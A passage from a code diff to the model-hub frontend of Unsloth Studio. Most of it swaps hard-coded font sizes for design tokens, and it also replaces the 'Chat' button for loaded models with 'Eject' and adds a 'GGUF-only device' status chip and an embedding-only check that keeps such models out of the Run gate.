-            isGgufRunCta ? "hub-run-action-btn w-28" : "hub-action-btn w-28",
+            isGgufRunCta ? "hub-run-action-btn w-24" : "hub-action-btn w-24",
             isGgufRunCta && "ml-2",
             ctaDisabled &&
               !selectedIsActive &&
@@ -917,8 +1111,8 @@ export function GgufDownloadCard({
             </span>
           ) : selectedIsActive ? (
             <>
-              <HugeiconsIcon icon={PencilEdit02Icon} strokeWidth={1.75} />
-              New Chat
+              <HugeiconsIcon icon={RemoveCircleIcon} strokeWidth={1.75} />
+              Eject
             </>
           ) : selected?.downloaded ? (
             <>
@@ -937,7 +1131,7 @@ export function GgufDownloadCard({
         <button
           type="button"
           onClick={() => void refresh()}
-          className="self-start px-1 text-[11px] text-status-warning underline-offset-2 transition-colors hover:underline"
+          className="self-start px-1 text-ui-11 text-status-warning underline-offset-2 transition-colors hover:underline"
         >
           Couldn't refresh quantizations. Retry
         </button>
diff --git a/studio/frontend/src/features/hub/catalog/gguf-status-cards.tsx b/studio/frontend/src/features/hub/catalog/gguf-status-cards.tsx
index 6cc764b876..f4f4fb27d2 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-status-cards.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-status-cards.tsx
@@ -34,7 +34,7 @@ export function GgufDownloadStatusCard({
         <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
           <span
             className={cn(
-              "flex min-w-0 items-center gap-2 text-[12.5px]",
+              "flex min-w-0 items-center gap-2 text-ui-12p5",
               tone === "danger" ? "text-destructive" : "text-muted-foreground",
             )}
           >
@@ -91,7 +91,7 @@ export function GgufDownloadingFallbackCard({
     <div className="flex w-full flex-col gap-2">
       <DownloadCard job={job} progress={progress}>
         <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
-          <span className="flex min-w-0 items-center gap-2 text-[12.5px] text-muted-foreground">
+          <span className="flex min-w-0 items-center gap-2 text-ui-12p5 text-muted-foreground">
             {progress.variant && <DotTag tone="gguf" label={progress.variant} />}
             <span className="truncate">Downloading…</span>
           </span>
diff --git a/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
index d733049ec3..78e1d0a420 100644
--- a/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
@@ -69,7 +69,7 @@ export function HubDetailView({
             <button
               type="button"
               onClick={onBack}
-              className="-ml-1.5 inline-flex h-8 cursor-pointer select-none items-center gap-1.5 rounded-full pl-1.5 pr-2.5 text-[12.5px] font-medium text-muted-foreground transition-colors hover:bg-foreground/[0.05] hover:text-foreground dark:hover:bg-white/[0.06]"
+              className="-ml-1.5 inline-flex h-8 cursor-pointer select-none items-center gap-1.5 rounded-full pl-1.5 pr-2.5 text-ui-12p5 font-medium text-muted-foreground transition-colors hover:bg-foreground/[0.05] hover:text-foreground dark:hover:bg-white/[0.06]"
             >
               <HugeiconsIcon
                 icon={ArrowLeft01Icon}
diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
index 38464d36e4..5a11c474d4 100644
--- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
@@ -6,9 +6,9 @@ import {
   PopoverContent,
   PopoverTrigger,
 } from "@/components/ui/popover";
-import { cn } from "@/lib/utils";
-import { Tick02Icon } from "@/lib/tick-icon";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { cn } from "@/lib/utils";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   type KeyboardEvent,
@@ -71,7 +71,9 @@ export function HubOptionMenu<T extends string>({
       ? -1
       : Math.min(activeIndex, options.length - 1);
   const activeOptionId =
-    resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined;
+    resolvedActiveIndex >= 0
+      ? `${idBase}-option-${resolvedActiveIndex}`
+      : undefined;
 
   const activateIndex = useCallback((index: number) => {
     setActiveIndex((current) => (current === index ? current : index));
@@ -161,7 +163,7 @@ export function HubOptionMenu<T extends string>({
 
   return (
     <Popover open={open} onOpenChange={handleOpenChange}>
-      <PopoverTrigger asChild>
+      <PopoverTrigger asChild={true}>
         <button
           ref={triggerRef}
           type="button"
@@ -171,7 +173,7 @@ export function HubOptionMenu<T extends string>({
           aria-label={ariaLabel}
           title={title}
           className={cn(
-            "field-trigger hub-menu-trigger field-soft field-filter inline-flex h-9 shrink-0 cursor-pointer items-center justify-between gap-0.5 rounded-full pl-3 pr-2 text-[12.5px] transition-colors",
+            "field-trigger hub-menu-trigger field-soft field-filter inline-flex h-9 shrink-0 cursor-pointer items-center justify-between gap-2.5 rounded-full pl-3 pr-2.5 text-ui-12p5 transition-colors",
             "focus-visible:border-border focus-visible:ring-0 focus-visible:ring-offset-0",
             className,
           )}
@@ -183,7 +185,10 @@ export function HubOptionMenu<T extends string>({
           }}
         >
           <span className="min-w-0 flex-1 truncate text-left">
-            {triggerContent ?? selected?.triggerLabel ?? selected?.label ?? value}
+            {triggerContent ??
+              selected?.triggerLabel ??
+              selected?.label ??
+              value}
           </span>
           {showChevron && (
             <HugeiconsIcon
diff --git a/studio/frontend/src/features/hub/catalog/hub-section-row.tsx b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
index 70049f16e3..e580c17a73 100644
--- a/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
@@ -58,7 +58,7 @@ export const HubSectionRow = memo(function HubSectionRow({
           type="button"
           onClick={onOpenList}
           aria-label={`See all ${title}`}
-          className="hub-section-title group/section -mx-1 inline-flex cursor-pointer items-center gap-1.5 rounded-md px-1 text-[18px] font-semibold tracking-[-0.02em] text-foreground outline-none focus-visible:ring-2 focus-visible:ring-ring"
+          className="hub-section-title group/section -mx-1 inline-flex cursor-pointer items-center gap-1.5 rounded-md px-1 text-ui-18 font-semibold tracking-[-0.02em] text-foreground outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           {title}
           <HugeiconsIcon
diff --git a/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx b/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
index ddda124745..a4e6e5c9f5 100644
--- a/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-dataset-card.tsx
@@ -25,7 +25,7 @@ export function LocalDatasetCard({
     <div className="hub-download-card">
       <div className="group/dl flex items-center">
         <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
-          <span className="flex min-w-0 items-center gap-1.5 text-[12px] text-muted-foreground">
+          <span className="flex min-w-0 items-center gap-1.5 text-ui-12 text-muted-foreground">
             <DotTag tone="success" label="On device" />
             {source !== "hf_cache" && (
               <span className="truncate text-muted-foreground/85">
@@ -34,11 +34,7 @@ export function LocalDatasetCard({
             )}
           </span>
           <div className="ml-auto flex items-center gap-0.5">
-            <PathInfoButton
-              path={path}
-              title={sourceLabel}
-              description="Where this dataset lives on disk."
-            />
+            <PathInfoButton path={path} />
           </div>
         </div>
         {HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && (
diff --git a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
index e40f5fd5ac..9b508a5413 100644
--- a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
@@ -1,11 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { TrainIcon } from "../components/train-icon";
-import {
-  HUB_GGUF_RUN_ACTIONS_VISIBLE,
-  HUB_POST_DOWNLOAD_ACTIONS_VISIBLE,
-} from "../lib/hub-feature-flags";
 import {
   Popover,
   PopoverContent,
@@ -17,37 +12,44 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { cn } from "@/lib/utils";
 import {
-  type BaseModelSource,
-  type LocalModelInfo,
-  type ModelInventoryFormat,
-  deleteCachedModel,
-} from "../inventory";
+  Alert02Icon,
+  CubeIcon,
+  PlayIcon,
+  RemoveCircleIcon,
+  Share05Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useCallback, useMemo, useState } from "react";
+import { TrainIcon } from "../components/train-icon";
 import {
   downloadManager,
   jobKeyOf,
   selectActiveJob,
   useDownloadManagerStore,
 } from "../download-manager";
-import { formatBytes } from "../lib/format";
-import { ggufVariantsMatch } from "../lib/model-identity";
-import { cn } from "@/lib/utils";
-import { confirmExternalLink } from "../stores/external-link-confirm";
-import { useHfTokenStore } from "../stores/hf-token-store";
+import { useOnlineStatus } from "../hooks/use-online-status";
 import {
-  Alert02Icon,
-  CubeIcon,
-  PencilEdit02Icon,
-  PlayIcon,
-  Share05Icon,
-} from "@hugeicons/core-free-icons";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
-import { HugeiconsIcon } from "@hugeicons/react";
-import { useCallback, useMemo, useState } from "react";
+  type BaseModelSource,
+  type LocalModelInfo,
+  type ModelInventoryFormat,
+  deleteCachedModel,
+} from "../inventory";
+import { formatBytes } from "../lib/format";
 import {
   ggufVariantDisplayLabel,
   sortLocalGgufVariants,
 } from "../lib/gguf-variant-sort";
+import {
+  HUB_GGUF_RUN_ACTIONS_VISIBLE,
+  HUB_NON_GGUF_RUN_ACTIONS_VISIBLE,
+  HUB_POST_DOWNLOAD_ACTIONS_VISIBLE,
+} from "../lib/hub-feature-flags";
+import { ggufVariantsMatch } from "../lib/model-identity";
+import { confirmExternalLink } from "../stores/external-link-confirm";
+import { useHfTokenStore } from "../stores/hf-token-store";
 import { DotTag } from "./dot-tag";
 import {
   CardDeleteButton,
@@ -59,7 +61,6 @@ import { PathInfoButton } from "./path-info-button";
 import { TransportConflictDialog } from "./transport-conflict-dialog";
 import { useCardDelete } from "./use-card-delete";
 import { useGgufVariantFetchState } from "./use-gguf-variant-fetch-state";
-import { useOnlineStatus } from "../hooks/use-online-status";
 
 type LocalLoadOptions = {
   ggufVariant?: string;
@@ -90,7 +91,9 @@ interface LocalOnDeviceCardProps {
   systemRamGb?: number;
   unsupportedReason?: string | null;
   onLoad: (opts?: LocalLoadOptions) => void;
+  /** Accepted for API parity; the run bar ejects instead of opening chat. */
   onUseInChat: () => void;
+  onEject?: () => void;
   onTrain?: () => void;
   onChange?: () => void;
 }
@@ -135,22 +138,22 @@ function BaseModelReference({
       </div>
       <div className="min-w-0 flex-1">
         <div className="flex min-w-0 items-center gap-1.5">
-          <span className="shrink-0 text-[11px] font-medium text-muted-foreground">
+          <span className="shrink-0 text-ui-11 font-medium text-muted-foreground">
             {baseModelSourceLabel(baseModelSource)}
           </span>
-          <span className="truncate text-[12px] font-medium text-foreground">
+          <span className="truncate text-ui-12 font-medium text-foreground">
             {baseModel}
           </span>
         </div>
         {baseModelSummary && (
-          <p className="mt-0.5 truncate text-[11px] text-muted-foreground">
+          <p className="mt-0.5 truncate text-ui-11 text-muted-foreground">
             {baseModelSummary}
           </p>
         )}
       </div>
       {canOpenHub && (
         <Tooltip>
-          <TooltipTrigger asChild>
+          <TooltipTrigger asChild={true}>
             <a
               href={`https://huggingface.co/${baseModelHubId}`}
               target="_blank"
@@ -159,7 +162,11 @@ function BaseModelReference({
               className="inline-flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-background hover:text-foreground"
               onClick={(event) => {
                 event.stopPropagation();
-                if (confirmExternalLink(`https://huggingface.co/${baseModelHubId}`)) {
+                if (
+                  confirmExternalLink(
+                    `https://huggingface.co/${baseModelHubId}`,
+                  )
+                ) {
                   event.preventDefault();
                 }
               }}
@@ -204,7 +211,7 @@ export function LocalOnDeviceCard({
   systemRamGb,
   unsupportedReason,
   onLoad,
-  onUseInChat,
+  onEject,
   onTrain,
   onChange,
 }: LocalOnDeviceCardProps) {
@@ -240,7 +247,10 @@ export function LocalOnDeviceCard({
   const { deleting, runDelete } = useCardDelete({
     action: async () => {
       if (!repoId) return;
-      await deleteCachedModel(repoId, undefined, hfToken || undefined);
+      // Delete is only offered for hf_cache rows (see canDelete), so `path` is
+      // the cache snapshot path: pass it so the delete targets the cache this
+      // card shows instead of falling back to the active cache.
+      await deleteCachedModel(repoId, undefined, hfToken || undefined, path);
     },
     resourceName: "model",
     successMessage: () => `Deleted ${repoId}`,
@@ -370,18 +380,20 @@ export function LocalOnDeviceCard({
   const handleConfirmUpdate = () => {
     if (!repoId || !updateTargetVariant) return;
     setUpdateOpen(false);
-    void downloadManager.requestStart({
-      kind: "model",
-      repoId,
-      variant: updateTargetVariant,
-      expectedBytes: updateExpectedBytes,
-    }).then((outcome) => {
-      if (outcome === "conflict") {
-        setUpdateConflictKey(jobKeyOf("model", repoId, updateTargetVariant));
-      }
-      void currentVariantState.refresh();
-      void remoteVariantState.refresh();
-    });
+    void downloadManager
+      .requestStart({
+        kind: "model",
+        repoId,
+        variant: updateTargetVariant,
+        expectedBytes: updateExpectedBytes,
+      })
+      .then((outcome) => {
+        if (outcome === "conflict") {
+          setUpdateConflictKey(jobKeyOf("model", repoId, updateTargetVariant));
+        }
+        void currentVariantState.refresh();
+        void remoteVariantState.refresh();
+      });
   };
   const selectedVariantIsActive =
     needsVariantSelection && selectedQuant
@@ -410,12 +422,12 @@ export function LocalOnDeviceCard({
   const showOldCacheHint = source === "hf_cache" && !!unsupportedReason;
   const runActionsVisible = isGguf
     ? HUB_GGUF_RUN_ACTIONS_VISIBLE
-    : HUB_POST_DOWNLOAD_ACTIONS_VISIBLE;
+    : HUB_NON_GGUF_RUN_ACTIONS_VISIBLE;
 
   return (
     <div className="flex w-full flex-col gap-2">
       {showOldCacheHint && (
-        <div className="flex items-start gap-2 rounded-[12px] border border-amber-500/20 bg-amber-500/8 px-3 py-2 text-[12px] leading-5 text-amber-700 dark:text-amber-300">
+        <div className="flex items-start gap-2 rounded-[12px] border border-amber-500/20 bg-amber-500/8 px-3 py-2 text-ui-12 leading-5 text-amber-700 dark:text-amber-300">
           <HugeiconsIcon
             icon={Alert02Icon}
             strokeWidth={1.75}
@@ -427,10 +439,11 @@ export function LocalOnDeviceCard({
             can still keep it on disk, or delete it to free space.
           </span>
         </div>
-      )}<div className="hub-download-card">
+      )}
+      <div className="hub-download-card">
         <div className="group/dl flex items-center">
           <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
-            <span className="flex min-w-0 items-center gap-1.5 text-[12px] text-muted-foreground">
+            <span className="flex min-w-0 items-center gap-1.5 text-ui-12 text-muted-foreground">
               <DotTag
                 tone="success"
                 label={selectedVariantIsActive ? "Loaded" : "On device"}
@@ -442,7 +455,7 @@ export function LocalOnDeviceCard({
                     <button
                       type="button"
                       disabled={currentVariantState.loading}
-                      className="inline-flex h-6 max-w-[170px] shrink-0 cursor-pointer items-center gap-1.5 rounded-[8px] border border-format-gguf/35 px-2 font-mono text-[10.5px] leading-none text-format-gguf transition-colors hover:bg-format-gguf/8 disabled:cursor-not-allowed disabled:opacity-60"
+                      className="inline-flex h-6 max-w-[170px] shrink-0 cursor-pointer items-center gap-1.5 rounded-[8px] border border-format-gguf/35 px-2 font-mono text-ui-10p5 leading-none text-format-gguf transition-colors hover:bg-format-gguf/8 disabled:cursor-not-allowed disabled:opacity-60"
                     >
                       <span className="truncate">
                         {currentVariantState.loading
@@ -454,7 +467,7 @@ export function LocalOnDeviceCard({
                               : "Select"}
                       </span>
                       {selectedVariant && (
-                        <span className="shrink-0 font-sans text-[10px] text-muted-foreground tabular-nums">
+                        <span className="shrink-0 font-sans text-ui-10 text-muted-foreground tabular-nums">
                           {formatBytes(selectedVariant.size_bytes)}
                         </span>
                       )}
@@ -499,14 +512,14 @@ export function LocalOnDeviceCard({
                                 : "hover:bg-foreground/[0.05] dark:hover:bg-foreground/[0.06]",
                             )}
                           >
-                            <span className="min-w-0 flex-1 truncate font-mono text-[12px] text-format-gguf">
+                            <span className="min-w-0 flex-1 truncate font-mono text-ui-12 text-format-gguf">
                               {label}
                             </span>
                             <span className="flex shrink-0 items-center gap-1.5">
                               {isLoaded && (
                                 <DotTag tone="success" label="Loaded" />
                               )}
-                              <span className="text-[10px] text-muted-foreground tabular-nums">
+                              <span className="text-ui-10 text-muted-foreground tabular-nums">
                                 {formatBytes(variant.size_bytes)}
                               </span>
                             </span>
@@ -539,7 +552,7 @@ export function LocalOnDeviceCard({
               {canUpdate && (
                 <CardUpdateButton
                   label={`Update ${repoId}`}
-                  emphasized
+                  emphasized={true}
                   onClick={() => setUpdateOpen(true)}
                 />
               )}
@@ -549,11 +562,7 @@ export function LocalOnDeviceCard({
                   onClick={() => setDeleteOpen(true)}
                 />
               )}
-              <PathInfoButton
-                path={path}
-                title={sourceLabel}
-                description="Where this model lives on disk."
-              />
+              <PathInfoButton path={path} />
             </div>
           </div>
           {onTrain && HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && (
@@ -584,7 +593,7 @@ export function LocalOnDeviceCard({
               onClick={() => {
                 if (!canRun) return;
                 if (selectedVariantIsActive) {
-                  onUseInChat();
+                  onEject?.();
                   return;
                 }
                 if (needsVariantSelection) {
@@ -614,24 +623,24 @@ export function LocalOnDeviceCard({
                 </>
               ) : selectedVariantIsActive ? (
                 <>
-                  <HugeiconsIcon icon={PencilEdit02Icon} strokeWidth={1.75} />
-                  Chat
+                  <HugeiconsIcon icon={RemoveCircleIcon} strokeWidth={1.75} />
+                  Eject
                 </>
               ) : variantActionPending ? (
                 <>
                   <Spinner />
                   Loading…
                 </>
-              ) : !canRun ? (
-                <>
-                  <HugeiconsIcon icon={Alert02Icon} strokeWidth={1.75} />
-                  No run
-                </>
-              ) : (
+              ) : canRun ? (
                 <>
                   <HugeiconsIcon icon={PlayIcon} strokeWidth={1.75} />
                   Run
                 </>
+              ) : (
+                <>
+                  <HugeiconsIcon icon={Alert02Icon} strokeWidth={1.75} />
+                  No run
+                </>
               )}
             </button>
           </div>
diff --git a/studio/frontend/src/features/hub/catalog/model-card.tsx b/studio/frontend/src/features/hub/catalog/model-card.tsx
index 358a3409b5..b042eb1ad0 100644
--- a/studio/frontend/src/features/hub/catalog/model-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-card.tsx
@@ -277,25 +277,25 @@ export const ModelCard = memo(function ModelCard({
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
       style={cardAccentStyle}
-      className="hub-model-card hub-trending-card group/card flex h-full w-full cursor-pointer flex-col overflow-hidden px-3 py-3.5 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="hub-model-card hub-trending-card group/card flex h-full w-full cursor-pointer flex-col overflow-hidden px-3 py-3.5 text-left outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     >
       <div className="flex min-w-0 items-start gap-2.5">
         <OwnerAvatar
           owner={row.owner}
           repoName={row.repo}
-          className="size-11 shrink-0 rounded-[14px] text-[17px] ring-1 ring-white/10"
+          className="size-11 shrink-0 rounded-[14px] text-ui-17 ring-1 ring-white/10"
           remote={false}
         />
         <div className="min-w-0 flex-1 space-y-0.5">
-          <p className="hub-trending-title line-clamp-2 text-[13.5px] font-semibold leading-[16px] text-foreground">
+          <p className="hub-trending-title line-clamp-2 text-ui-13p5 font-semibold leading-ui-16 text-foreground">
             {row.repo}
           </p>
-          <span className="hub-trending-owner flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+          <span className="hub-trending-owner flex min-w-0 items-center gap-1 text-ui-11p5 leading-ui-15 text-muted-foreground/80">
             <span className="truncate">{row.owner}</span>
             {row.owner.toLowerCase() === "unsloth" && (
               <span
                 aria-label="Verified Unsloth"
-                className="hub-verified-badge size-3.5 shrink-0 text-primary"
+                className="hub-verified-badge size-3.5 shrink-0 text-verified"
               />
             )}
           </span>
diff --git a/studio/frontend/src/features/hub/catalog/model-inspector.tsx b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
index 0f244bce53..c304738ab1 100644
--- a/studio/frontend/src/features/hub/catalog/model-inspector.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
@@ -17,9 +17,9 @@ import {
   formatRelativeShort,
   formatShortDate,
 } from "@/features/hub/lib/format";
-import { cn, formatCompact } from "@/lib/utils";
-import { confirmExternalLink } from "../stores/external-link-confirm";
 import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { cn, formatCompact } from "@/lib/utils";
 import {
   Calendar03Icon,
   CalendarAdd01Icon,
@@ -37,10 +37,10 @@ import {
   RamMemoryIcon,
   Share05Icon,
 } from "@hugeicons/core-free-icons";
-import { Tick02Icon } from "@/lib/tick-icon";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { memo, useDeferredValue, useMemo } from "react";
+import { selectActiveJob, useDownloadManagerStore } from "../download-manager";
 import { useCopyFeedback } from "../hooks/use-copy-feedback";
 import { useDatasetSize } from "../hooks/use-dataset-size";
 import {
@@ -49,8 +49,8 @@ import {
   formatPipelineTag,
   parseLanguageTags,
 } from "../lib/view-models";
+import { confirmExternalLink } from "../stores/external-link-confirm";
 import type { SelectedModelView } from "../types";
-import { selectActiveJob, useDownloadManagerStore } from "../download-manager";
 import { DatasetDownloadSection } from "./dataset-download-section";
 import { DownloadSection } from "./download-section";
 import { LocalDatasetCard } from "./local-dataset-card";
@@ -59,6 +59,13 @@ import { ModelReadme } from "./model-readme";
 import { OwnerAvatar } from "./owner-avatar";
 import { AccessChip, CapabilityPill } from "./shared";
 
+// HF pipeline_tag values authoritative for embedding-only repos; capability
+// labels (code/vision/audio) can leak onto them via name or tags.
+const EMBEDDING_PIPELINE_TAGS: ReadonlySet<string> = new Set([
+  "feature-extraction",
+  "sentence-similarity",
+]);
+
 function ViewRepositoryButton({
   repoId,
   isDataset,
@@ -159,7 +166,7 @@ function StatRow({
   return (
     <Tooltip>
       <TooltipTrigger asChild={true}>
-        <span className="hub-tag-meta inline-flex cursor-default items-center gap-1.5 px-2.5 py-1 text-[11.5px] text-muted-foreground transition-colors hover:text-foreground/80">
+        <span className="hub-tag-meta inline-flex cursor-default items-center gap-1.5 px-2.5 py-1 text-ui-11p5 text-muted-foreground transition-colors hover:text-foreground/80">
           <HugeiconsIcon
             icon={icon}
             strokeWidth={1.75}
@@ -201,7 +208,7 @@ function StatusChip({
   return (
     <span
       className={cn(
-        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-full border bg-transparent px-2 text-[11px] font-medium leading-none",
+        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-full border bg-transparent px-2 text-ui-11 font-medium leading-none",
         toneClass,
         className,
       )}
@@ -241,12 +248,12 @@ function BaseModelSearchChip({
           <button
             type="button"
             onClick={() => onSearchHub(searchTerm)}
-            className="inline-flex h-6 max-w-full cursor-pointer items-center gap-1.5 rounded-full bg-muted px-2.5 text-[11.5px] transition-colors hover:bg-muted/80 dark:bg-[rgba(255,255,255,0.04)]"
+            className="inline-flex h-6 max-w-full cursor-pointer items-center gap-1.5 rounded-full bg-muted px-2.5 text-ui-11p5 transition-colors hover:bg-muted/80 dark:bg-[rgba(255,255,255,0.04)]"
           >
             {content}
           </button>
         ) : (
-          <span className="inline-flex h-6 max-w-full items-center gap-1.5 rounded-full bg-muted px-2.5 text-[11.5px] dark:bg-[rgba(255,255,255,0.04)]">
+          <span className="inline-flex h-6 max-w-full items-center gap-1.5 rounded-full bg-muted px-2.5 text-ui-11p5 dark:bg-[rgba(255,255,255,0.04)]">
             {content}
           </span>
         )}
@@ -263,17 +270,22 @@ type VramInfo = { est: number; status: "fits" | "tight" | "exceeds" } | null;
 function ModelStatusChips({
   isDataset,
   isGguf,
+  chatOnly,
   unslothSupport,
   vramInfo,
 }: {
   isDataset: boolean;
   isGguf: boolean;
+  chatOnly: boolean;
   unslothSupport: UnslothSupport;
   vramInfo: VramInfo;
 }) {
   const showUnsupported = !isDataset && unslothSupport.status === "unsupported";
+  // The format-unsupported chip already explains itself; this one covers the
+  // supported-format model a chat-only host still can't run.
+  const showChatOnly = !isDataset && !isGguf && chatOnly && !showUnsupported;
   const showVram = !isDataset && vramInfo && !isGguf;
-  if (!showUnsupported && !showVram) return null;
+  if (!showUnsupported && !showChatOnly && !showVram) return null;
 
   const vramTone = vramInfo
     ? vramInfo.status === "exceeds"
@@ -313,11 +325,31 @@ function ModelStatusChips({
           >
             This model may not be supported yet.
             {unslothSupport.reason && (
-              <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+              <span className="mt-1 block text-ui-10p5 font-normal text-white/75">
                 {unslothSupport.reason}
               </span>
             )}
-            <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+            <span className="mt-1 block text-ui-10p5 font-normal text-white/75">
+              Still downloadable to your Hugging Face cache.
+            </span>
+          </TooltipContent>
+        </Tooltip>
+      )}
+      {showChatOnly && (
+        <Tooltip>
+          <TooltipTrigger asChild={true}>
+            <span tabIndex={0} className="inline-flex outline-none">
+              <StatusChip tone="warning" label="GGUF-only device" />
+            </span>
+          </TooltipTrigger>
+          <TooltipContent
+            side="bottom"
+            sideOffset={6}
+            className="tooltip-compact max-w-xs"
+          >
+            This device has no supported GPU or usable MLX, so only GGUF models
+            can run here.
+            <span className="mt-1 block text-ui-10p5 font-normal text-white/75">
               Still downloadable to your Hugging Face cache.
             </span>
           </TooltipContent>
@@ -336,7 +368,7 @@ function ModelStatusChips({
             className="tooltip-compact max-w-xs"
           >
             Estimated 4-bit memory load is around {vramInfo.est} GB.
-            <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+            <span className="mt-1 block text-ui-10p5 font-normal text-white/75">
               {vramDetail}
             </span>
           </TooltipContent>
@@ -367,6 +399,7 @@ export type ModelInspectorActions = {
     expectedBytes?: number;
   }) => void;
   onUseInChat: () => void;
+  onEject?: () => void;
   onTrain?: () => void;
   onInventoryChange?: () => void;
   onSearchHub?: (query: string) => void;
@@ -401,11 +434,13 @@ export const ModelInspector = memo(function ModelInspector({
     onLoad,
     onLoadLocal,
     onUseInChat,
+    onEject,
     onTrain,
     onInventoryChange,
     onSearchHub,
   } = actions;
   const deviceType = usePlatformStore((s) => s.deviceType);
+  const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const hfToken = useHfTokenStore((s) => s.token);
   const datasetRepoId = isDataset && model?.hubRepoId ? model.hubRepoId : null;
   const datasetSize = useDatasetSize(datasetRepoId, {
@@ -467,10 +502,10 @@ export const ModelInspector = memo(function ModelInspector({
           <HugeiconsIcon icon={CubeIcon} strokeWidth={1.5} className="size-5" />
         </div>
         <div className="space-y-1">
-          <p className="text-[15px] font-semibold tracking-tight text-foreground">
+          <p className="text-ui-15 font-semibold tracking-tight text-foreground">
             Select a {isDataset ? "dataset" : "model"}
           </p>
-          <p className="max-w-sm text-[12.5px] leading-5 text-muted-foreground">
+          <p className="max-w-sm text-ui-12p5 leading-5 text-muted-foreground">
             {isDataset
               ? "Choose a dataset from the catalog to inspect its download state and details."
               : "Choose an item from the catalog to inspect its runtime fit, download state, and model card."}
@@ -484,14 +519,16 @@ export const ModelInspector = memo(function ModelInspector({
     ? formatRelativeShort(model.updatedAt)
     : formatLocalUpdated(model.localUpdatedAt);
   const updatedLabel = updatedRaw === "Unknown update" ? "N/A" : updatedRaw;
-  const createdLabel = model.createdAt ? formatShortDate(model.createdAt) : null;
+  const createdLabel = model.createdAt
+    ? formatShortDate(model.createdAt)
+    : null;
   const libraryLabel = isDataset ? null : formatLibrary(model.libraryName);
   const gatedAccess = model.gated !== false && model.gated !== undefined;
   const downloadsTooltip =
     model.downloadsAllTime != null ? (
       <>
         Downloads (30 days)
-        <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+        <span className="mt-1 block text-ui-10p5 font-normal text-white/75">
           {formatCompact(model.downloadsAllTime)} all time
         </span>
       </>
@@ -504,15 +541,35 @@ export const ModelInspector = memo(function ModelInspector({
   const paramsLabel = model.totalParams
     ? formatCompact(model.totalParams)
     : "N/A";
-  const trainingSupported = unslothSupport.status !== "unsupported";
+  const unslothSupported = unslothSupport.status !== "unsupported";
+  // Embedding-only non-GGUF repos have no generative head, so keep them out of
+  // the Run gate. Prefer the pipeline tag, else the capability heuristic.
+  const isEmbeddingOnly =
+    !model.isGguf &&
+    model.capabilities.some((c) => c.key === "embedding") &&
+    (EMBEDDING_PIPELINE_TAGS.has(model.pipelineTag?.toLowerCase() ?? "") ||
+      !model.capabilities.some(
+        (c) =>
+          c.key === "conversational" ||
+          c.key === "tools" ||
+          c.key === "reasoning" ||
+          c.key === "code" ||
+          c.key === "vision" ||
+          c.key === "audio",
+      ));
+  // Chat-only hosts (no supported GPU / usable MLX) run inference only through
+  // llama.cpp, so only GGUF is loadable.
   const canRunModel =
-    !isDataset && (model.runtimeCapabilities?.canChat ?? true);
+    !isDataset &&
+    (model.runtimeCapabilities?.canChat ?? true) &&
+    !isEmbeddingOnly &&
+    (model.isGguf || (!chatOnly && unslothSupported));
   const canTrainModel =
     !isDataset &&
     (model.runtimeCapabilities?.canTrain ?? false) &&
     model.modelFormat !== "gguf" &&
     model.modelFormat !== "adapter" &&
-    trainingSupported;
+    unslothSupported;
 
   const languages = parseLanguageTags(model.tags);
